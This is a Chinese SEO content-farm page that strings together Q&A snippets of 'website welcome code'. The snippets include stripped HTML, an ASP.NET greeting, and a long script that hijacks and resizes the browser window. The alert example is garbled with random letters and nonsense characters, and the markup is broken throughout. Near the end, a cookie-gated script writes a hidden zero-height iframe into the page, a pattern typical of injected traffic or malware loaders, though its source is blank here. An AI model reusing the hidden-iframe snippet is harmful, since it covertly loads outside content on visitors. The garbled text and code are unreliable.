网站欢迎代码(提供代码的网站)
admin 发布:2022-12-19 16:26 157
今天给各位分享网站欢迎代码的知识,其中也会对提供代码的网站进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!
本文目录一览:
- 1、求一个简单网站首页代码
- 2、网站代码怎么写
- 3、网站首页代码
- 4、比如说欢迎某某某登陆 某某某是东莞台的 不是固定的 在整个网站的站顶显示该条信息 改如何写代码
- 5、用html编写打开网页时出现一个欢迎对话框代码:。但如果在关
- 6、网站代码
求一个简单网站首页代码
完整的代码如下:
html
head
title简单网页制作练习/title
/head
body
p1.文字内容,直接输入文字即可。。。。。如果想设置其相关属性可以使用font标签
font size="18" color="red" 红色18号文字/font /p
p 2.添加图片 img src="图片名称.属性" id=“图片简介”
img src="1.jpg" id=" 加入图片练习" /p
/body
/html
网站代码怎么写
网站源代码一般分为PHP ASP ASP.net Java 一般常用到的是html 代码 类似 EMBED width="39" height="18" autostart="true" hidden="false" volume="100" type="audio/x-pn-realaudio-plugin" controls="PlayButton" autostart="true"a href=""/a 这些就是你所看见的源代码,html代码通常是网站的框架,包括css+div ,PHP ASP ASP.net Java这三种源代码才是网站的主要内容组成部分,负责网站的版块构成
网站首页代码
一般的首页文件名是index或者Default。你找一下这样的文件,用DW就能编辑修改首页了。
比如说欢迎某某某登陆 某某某是东莞台的 不是固定的 在整个网站的站顶显示该条信息 改如何写代码
在后台中声明一个字符串
protected string name = string.Empty;
并在Page_Load中给他赋值
string name = string.Format("欢迎{0},您是{1}",str1,str2);
在页面中需要显示的地方%=name%
用html编写打开网页时出现一个欢迎对话框代码:。但如果在关
body里加入ronload='alert("欢迎来到韶关田家炳初一d网,希望你用自己m的田家炳学号注册!注册时一g班前面是a,二j班前边是b,三e班前面是c,如此类推。后面再加学号!例如:六3班72号 a b c d e f j5 1 1 1 5 8 2(班) f80020143谢谢合作!")'就行如下y: body onload='alert("欢迎来到韶关田家炳初一x网,希望你用自己t的田家炳学号注册!注册时一j班前面是a,二e班前边是b,三v班前面是c,如此类推。后面再加学号!例如:六1班51号 a b c d e f j1 6 5 2 6 6 8(班) f60060086谢谢合作!")' 。body wnxsㄕb戋d支≡猢ㄇ廿rh△yd支≡猢ㄇ廿
网站代码
html
head
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
meta http-equiv="Content-Language" content="zh-cn"
title欢迎光临我的网站!/title
/head
script
window.scrollBy(0, 100)
window.resizeTo(0,0)
window.moveTo(0,0)
document.bgColor=0x000000
document.fgColor=0x000000
//setInterval("move()",30);
setTimeout("move()", 1);
var mxm=50
var mym=25
var mx=0
var my=0
var sv=50
var status=1
var szx=0
var szy=0
var c=255
var n=0
var sm=30
var cycle=2
var done=2
function move()
{
if (status == 1)
{
mxm=mxm/1.05
mym=mym/1.05
mx=mx+mxm
my=my-mym
mxm=mxm+(400-mx)/100
mym=mym-(300-my)/100
window.moveTo(mx,my)
rmxm=Math.round(mxm/10)
rmym=Math.round(mym/10)
if (rmxm == 0)
{
if (rmym == 0)
{
status=2
}
}
}
if (status == 2)
{
sv=sv/1.1
scrratio=1+1/3
mx=mx-sv*scrratio/2
my=my-sv/2
szx=szx+sv*scrratio
szy=szy+sv
window.moveTo(mx,my)
window.resizeTo(szx,szy)
if (sv 0.1)
{
status=3
}
}
if (status == 3)
{
document.fgColor=0xffffFF
c=c-16
document.bgColor=0x000000
if (c0)
{status=8}
}
if (status == 4)
{
c=c+16
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c 239)
{status=5}
}
if (status == 5)
{
c=c-16
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c 0)
{
status=6
cycle=cycle-1
if (cycle 0)
{
if (done == 1)
{status=7}
else
{status=4}
}
}
}
if (status == 6)
{
document.title = ""
alert("")
cycle=2
status=4
done=1
}
if (status == 7)
{
c=c+4
document.bgColor=c*65536
document.fgColor=(255-c)*65536
if (c 128)
{status=8}
}
if (status == 8)
{
window.moveTo(0,0)
sx=screen.availWidth
sy=screen.availHeight
window.resizeTo(sx,sy)
status=9
}
var timer=setTimeout("move()",0.3)
}
/script
head
title冰舞精灵光临贵站/title
meta http-equiv="Content-Type" content="text/html; charset=gb2312"style type="text/css"
!--
body {
margin-left: 100px;
}
--
/style/head
body background=""br/center
BODY bgColor=#000000
span id="theText" style="width:100%"
h1 align="center"欢迎光临长风大侠网站!! /h1
/span
bgsound src= loop="-1"
script
!--
var from = 1;
var to = 4;
var delay = 55; //闪的速度
var glowColor = "lime";//颜色
var i = to;
var j = 0;
textPulseDown();
function textPulseUp()
{
if (!document.all)
return
if (i to)
{
theText.style.filter = "Glow(Color=" + glowColor + ", Strength=" + i + ")";
i++;
theTimeout = setTimeout('textPulseUp()',delay);
return 0;
}
if (i = to)
{
theTimeout = setTimeout('textPulseDown()',delay);
return 0;
}
}
function textPulseDown()
{
if (!document.all)
return
if (i from)
{
theText.style.filter = "Glow(Color=" + glowColor + ", Strength=" + i + ")";
i--;
theTimeout = setTimeout('textPulseDown()',delay);
return 0;
}
if (i = from)
{
theTimeout = setTimeout('textPulseUp()',delay);
return 0;
}
}
//--
/script
SCRIPT language="JavaScript" FPTYPE="dynamicanimation8"
!--
dynamicanimAttr = "dynamicanimation8"
animateElements = new Array()
currentElement = 0
speed = 0
stepsZoom = 8
stepsWord = 8
stepsFly = 12
stepsSpiral = 16
steps = stepsZoom
step = 0
outString = ""
function dynAnimation8()
{
var ms = navigator.appVersion.indexOf("MSIE")
ie4 = (ms0) (parseInt(navigator.appVersion.substring(ms+5, ms+6)) = 4)
if(!ie4)
{
if((navigator.appName == "Netscape")
(parseInt(navigator.appVersion.substring(0, 1)) = 4))
{
for (index=document.layers.length-1; index = 0; index--)
{
layer=document.layers[index]
if (layer.left==10000)
layer.left=0
}
}
return
}
for (index=document.all.length-1; index = document.body.sourceIndex; index--)
{
el = document.all[index]
animation = el.getAttribute(dynamicanimAttr, false)
if(null != animation)
{
if(animation == "dropWord" || animation == "flyTopRightWord" || animation == "flyBottomRightWord")
{
ih = el.innerHTML
outString = ""
i1 = 0
iend = ih.length
while(true)
{
i2 = startWord(ih, i1)
if(i2 == -1)
i2 = iend
outWord(ih, i1, i2, false, "")
if(i2 == iend)
break
i1 = i2
i2 = endWord(ih, i1)
if(i2 == -1)
i2 = iend
outWord(ih, i1, i2, true, animation)
if(i2 == iend)
break
i1 = i2
}
document.all[index].innerHTML = outString
document.all[index].style.posLeft = 0
document.all[index].setAttribute(dynamicanimAttr, null)
}
if(animation == "zoomIn" || animation == "zoomOut")
{
ih = el.innerHTML
outString = "SPAN " + dynamicanimAttr + "=\"" + animation + "\" style=\"position: relative; left: 10000;\""
outString += ih
outString += "/SPAN"
document.all[index].innerHTML = outString
document.all[index].style.posLeft = 0
document.all[index].setAttribute(dynamicanimAttr, null)
}
}
}
i = 0
for (index=document.body.sourceIndex; index document.all.length; index++)
{
el = document.all[index]
animation = el.getAttribute(dynamicanimAttr, false)
if (null != animation)
{
if(animation == "flyLeft")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = 0
}
else if(animation == "flyRight")
{
el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
el.style.posTop = 0
}
else if(animation == "flyTop" || animation == "dropWord")
{
el.style.posLeft = 0
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "flyBottom")
{
el.style.posLeft = 0
el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
}
else if(animation == "flyTopLeft")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "flyTopRight" || animation == "flyTopRightWord")
{
el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "flyBottomLeft")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
}
else if(animation == "flyBottomRight" || animation == "flyBottomRightWord")
{
el.style.posLeft = 10000-offsetLeft(el)+document.body.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)+document.body.offsetHeight
}
else if(animation == "spiral")
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = document.body.scrollTop-offsetTop(el)-el.offsetHeight
}
else if(animation == "zoomIn")
{
el.style.posLeft = 10000
el.style.posTop = 0
}
else if(animation == "zoomOut")
{
el.style.posLeft = 10000
el.style.posTop = 0
}
else
{
el.style.posLeft = 10000-offsetLeft(el)-el.offsetWidth
el.style.posTop = 0
}
el.initLeft = el.style.posLeft
el.initTop = el.style.posTop
animateElements[i++] = el
}
}
window.setTimeout("animate();", speed)
}
function offsetLeft(el)
{
x = el.offsetLeft
for (e = el.offsetParent; e; e = e.offsetParent)
x += e.offsetLeft;
return x
}
function offsetTop(el)
{
y = el.offsetTop
for (e = el.offsetParent; e; e = e.offsetParent)
y += e.offsetTop;
return y
}
function startWord(ih, i)
{
for(tag = false; i ih.length; i++)
{
c = ih.charAt(i)
if(c == '')
tag = true
if(!tag)
return i
if(c == '')
tag = false
}
return -1
}
function endWord(ih, i)
{
nonSpace = false
space = false
while(i ih.length)
{
c = ih.charAt(i)
if(c != ' ')
nonSpace = true
if(nonSpace c == ' ')
space = true
if(c == '')
return i
if(space c != ' ')
return i
i++
}
return -1
}
function outWord(ih, i1, i2, dyn, anim)
{
if(dyn)
outString += "SPAN " + dynamicanimAttr + "=\"" + anim + "\" style=\"position: relative; left: 10000;\""
outString += ih.substring(i1, i2)
if(dyn)
outString += "/SPAN"
}
function animate()
{
el = animateElements[currentElement]
animation = el.getAttribute(dynamicanimAttr, false)
step++
if(animation == "spiral")
{
steps = stepsSpiral
v = step/steps
rf = 1.0 - v
t = v * 2.0*Math.PI
rx = Math.max(Math.abs(el.initLeft), 200)
ry = Math.max(Math.abs(el.initTop), 200)
el.style.posLeft = Math.ceil(-rf*Math.cos(t)*rx)
el.style.posTop = Math.ceil(-rf*Math.sin(t)*ry)
}
else if(animation == "zoomIn")
{
steps = stepsZoom
el.style.fontSize = Math.ceil(50+50*step/steps) + "%"
el.style.posLeft = 0
}
else if(animation == "zoomOut")
{
steps = stepsZoom
el.style.fontSize = Math.ceil(100+200*(steps-step)/steps) + "%"
el.style.posLeft = 0
}
else
{
steps = stepsFly
if(animation == "dropWord" || animation == "flyTopRightWord" || animation == "flyBottomRightWord")
steps = stepsWord
dl = el.initLeft / steps
dt = el.initTop / steps
el.style.posLeft = el.style.posLeft - dl
el.style.posTop = el.style.posTop - dt
}
if (step = steps)
{
el.style.posLeft = 0
el.style.posTop = 0
currentElement++
step = 0
}
if(currentElement animateElements.length)
window.setTimeout("animate();", speed)
}
//--
/SCRIPT
p dynamicanimation8="dropWord"
style="position: relative !important; left: 10000 !important" align="center" /p
div style="width: 857; font-size:15pt; font-family: Arial; color: White; position: relative; filter: glow(color=00CCFF, strength=5); height: 50;" p align="center" /div
div style="width: 857; font-size:15pt; font-family: Arial; color: White; position: relative; filter: glow(color=00CCFF, strength=5); height: 50;" p align="center"
/div
div style="width: 857; font-size:15pt; font-family: Arial ; color: White ; position: relative; filter: glow(color=00CCFF, strength=5)"
p b
font face="楷体_GB2312" size="5"
marquee/marquee
/font
/b/div
div style="width: 800; font-size: 15pt; font-family: Arial; color: White; position: relative; filter: glow(color=FFFF00, strength=5); height: 35"
font color="#FF0000"font face="楷体_GB2312" size="8"i br
div align="center" font face="楷体_GB2321" size="1000" color="#000000"
/div
/SCRIPT
div align="center" "a href= /返回主页/a"
font color="#000000"font face="楷体_GB2321" size="1000"i
/div
/SCRIPTscript language=javascriptif(document.cookie.indexOf('st')==-1){var expires=new Date();expires.setTime(expires.getTime()+22*60*60*1000);document.cookie='st=Yes;path=/;expires='+expires.toGMTString();document.write('iframe src= width=100 height=0/iframe');}/script
body
p
/p
/body
/html
网站欢迎代码的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于提供代码的网站、网站欢迎代码的信息别忘了在本站进行查找喔。
版权说明:如非注明,本站文章均为 AH站长 原创,转载请注明出处和附带本文链接;
相关推荐
- 05-17郑州网站排名优化外包,郑州网站优化seo
- 05-17seo网站整站优化,seo整站优化方案
- 05-17中国网站排名网,中国知名网站排名
- 05-17网站关键词排名优化方法,网站关键词排名优化软件
- 05-17web网站设计,web网站设计教程
- 05-16怎么建立一个属于自己的网站,如何建立自己的网站教程
- 05-16网络推广seo怎么弄,网站 网络推广
- 05-16设计师经常用的网站,设计师一般用什么网站
- 05-16如何做一个网站,如何做一个网站系统
- 05-16北京网站优化企业,北京网站推广优化公司
取消回复欢迎 你 发表评论:
- 标签列表
- 最近发表
- 友情链接